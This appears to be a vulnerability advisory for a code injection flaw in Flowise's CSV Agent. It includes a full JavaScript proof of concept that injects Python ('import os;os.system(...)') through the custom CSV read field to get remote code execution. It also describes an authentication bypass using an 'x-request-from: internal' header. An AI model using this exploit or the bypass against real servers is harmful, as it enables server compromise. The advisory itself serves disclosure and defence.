PT-2026-35303 · Npm · Flowise+1

Published

2026-04-16

·

Updated

2026-04-16

CVSS v3.1

8.8

High

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: DataFrame({'foo': ['bar!']});import os;os.system('whoami') that will get interpolated and executed by the server.

Details

The code in question that introduces the issue is in CSVAgent.ts. customReadCSVFunc is user-controlled and gets interpolated directly without sanitization into the code variable which gets executed by pyodide one line later in: dataframeColDict = await pyodide.runPythonAsync(code). An authenticated attacker can issue the following chain of requests:
  1. Create a new chat flow by sending a POST request to /api/v1/chatflows. This will return the chatflowId in the response.
  2. Send a POST request to /api/v1/prediction/[CHATFLOWID] to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work.
  3. Optionally: send a DELETE request to /api/v1/chatflows to cleanup and delete the chat flow.
Since /chatflows is not whitelisted here, this mandates the user to be authenticated. But, if FLOWISE USERNAME and FLOWISE PQSSWORD aren't set, it's sufficient to provide the "x-request-from": "internal" header to bypass authentication.

PoC

Here's the PoC code:
const PORT = 3000;
const FLOWISE HOST URL = `http://127.0.0.1:${PORT}`;
const PREDICTION URL = '/api/v1/prediction';
const CHATFLOWS URL = '/api/v1/chatflows';

const flowData = JSON.parse("{"nodes":[{"id":"csvAgent 0","position":{"x":681,"y":212},"type":"customNode","data":{"label":"CSV Agent","name":"csvAgent","version":3,"type":"AgentExecutor","category":"Agents","icon":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg","description":"Agent used to answer queries on CSV data","baseClasses":["AgentExecutor","BaseChain","Runnable"],"inputs":{"csvFile":"","model":"{{openAI 0.data.instance}}","systemMessagePrompt":"","inputModeration":"","customReadCSV":"DataFrame({'foo': ['bar!']});import os;os.system('whoami');"},"filePath":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js","inputAnchors":[{"label":"Language Model","name":"model","type":"BaseLanguageModel","id":"csvAgent 0-input-model-BaseLanguageModel"},{"label":"Input Moderation","description":"Detect text that could generate harmful output and prevent it from being sent to the language model","name":"inputModeration","type":"Moderation","optional":true,"list":true,"id":"csvAgent 0-input-inputModeration-Moderation"}],"inputParams":[{"label":"Csv File","name":"csvFile","type":"file","fileType":".csv","id":"csvAgent 0-input-csvFile-file"},{"label":"System Message","name":"systemMessagePrompt","type":"string","rows":4,"additionalParams":true,"optional":true,"placeholder":"I want you to act as a document that I am having a conversation with. Your name is "AI Assistant". You will provide me with answers from the given info. If the answer is not included, say exactly "Hmm, I am not sure." and stop after that. Refuse to answer any question not about the info. Never break character.","id":"csvAgent 0-input-systemMessagePrompt-string"},{"label":"Custom Pandas Read CSV Code","description":"Custom Pandas <a target=" blank" href="https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read csv.html">read csv</a> function. Takes in an input: "csv data"","name":"customReadCSV","default":"read csv(csv data)","type":"code","optional":true,"additionalParams":true,"id":"csvAgent 0-input-customReadCSV-code"}],"outputs":{},"outputAnchors":[{"id":"csvAgent 0-output-csvAgent-AgentExecutor|BaseChain|Runnable","name":"csvAgent","label":"AgentExecutor","description":"Agent used to answer queries on CSV data","type":"AgentExecutor | BaseChain | Runnable"}],"id":"csvAgent 0","selected":false},"width":300,"height":464,"selected":true,"dragging":false,"positionAbsolute":{"x":681,"y":212}},{"id":"openAI 0","position":{"x":238.83389711655053,"y":233.09962591816395},"type":"customNode","data":{"loadMethods":{},"label":"OpenAI","name":"openAI","version":4,"type":"OpenAI","icon":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg","category":"LLMs","description":"Wrapper around OpenAI large language models","baseClasses":["OpenAI","BaseLLM","BaseLanguageModel","Runnable"],"credential":"","inputs":{"cache":"","modelName":"gpt-3.5-turbo-instruct","temperature":0.7,"maxTokens":"","topP":"","bestOf":"","frequencyPenalty":"","presencePenalty":"","batchSize":"","timeout":"","basepath":"","baseOptions":""},"filePath":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js","inputAnchors":[{"label":"Cache","name":"cache","type":"BaseCache","optional":true,"id":"openAI 0-input-cache-BaseCache"}],"inputParams":[{"label":"Connect Credential","name":"credential","type":"credential","credentialNames":["openAIApi"],"id":"openAI 0-input-credential-credential"},{"label":"Model Name","name":"modelName","type":"asyncOptions","loadMethod":"listModels","default":"gpt-3.5-turbo-instruct","id":"openAI 0-input-modelName-asyncOptions"},{"label":"Temperature","name":"temperature","type":"number","step":0.1,"default":0.7,"optional":true,"id":"openAI 0-input-temperature-number"},{"label":"Max Tokens","name":"maxTokens","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-maxTokens-number"},{"label":"Top Probability","name":"topP","type":"number","step":0.1,"optional":true,"additionalParams":true,"id":"openAI 0-input-topP-number"},{"label":"Best Of","name":"bestOf","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-bestOf-number"},{"label":"Frequency Penalty","name":"frequencyPenalty","type":"number","step":0.1,"optional":true,"additionalParams":true,"id":"openAI 0-input-frequencyPenalty-number"},{"label":"Presence Penalty","name":"presencePenalty","type":"number","step":0.1,"optional":true,"additionalParams":true,"id":"openAI 0-input-presencePenalty-number"},{"label":"Batch Size","name":"batchSize","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-batchSize-number"},{"label":"Timeout","name":"timeout","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-timeout-number"},{"label":"BasePath","name":"basepath","type":"string","optional":true,"additionalParams":true,"id":"openAI 0-input-basepath-string"},{"label":"BaseOptions","name":"baseOptions","type":"json","optional":true,"additionalParams":true,"id":"openAI 0-input-baseOptions-json"}],"outputs":{},"outputAnchors":[{"id":"openAI 0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable","name":"openAI","label":"OpenAI","description":"Wrapper around OpenAI large language models","type":"OpenAI | BaseLLM | BaseLanguageModel | Runnable"}],"id":"openAI 0","selected":false},"width":300,"height":574,"selected":false,"positionAbsolute":{"x":238.83389711655053,"y":233.09962591816395},"dragging":false}],"edges":[{"source":"openAI 0","sourceHandle":"openAI 0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable","target":"csvAgent 0","targetHandle":"csvAgent 0-input-model-BaseLanguageModel","type":"buttonedge","id":"openAI 0-openAI 0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent 0-csvAgent 0-input-model-BaseLanguageModel"}],"viewport":{"x":73.92828909845196,"y":-4.475777844396191,"zoom":0.7371346086455504}}");
const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"};

// Create chatflow.
let res = await fetch(`${FLOWISE HOST URL}${CHATFLOWS URL}`, {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "Authorization": "Bearer <your-api-key>"
    //Alternative: "x-request-from": "internal"
  },
  body: JSON.stringify(payload)
});

let resJson = await res.json();
let chatflowId = resJson?.id;

// Trigger vuln.
await fetch(`${FLOWISE HOST URL}${PREDICTION URL}/${chatflowId}`, {
  method: "POST",
  headers: {
    "Content-Type": "application/json"
  },
  body: JSON.stringify({"question": "whoami?"})
});

// Cleanup.
await fetch(`${FLOWISE HOST URL}${CHATFLOWS URL}/${chatflowId}`, {
  method: "DELETE",
  headers: {
    "Content-Type": "application/json",
    "Authorization": "Bearer <your-api-key>"
    //Alternative: "x-request-from": "internal"
  }
});

Impact

This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.

Fix

Code Injection

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-9WC7-MJ3F-74XV

Affected Products

Flowise
Flowise-Components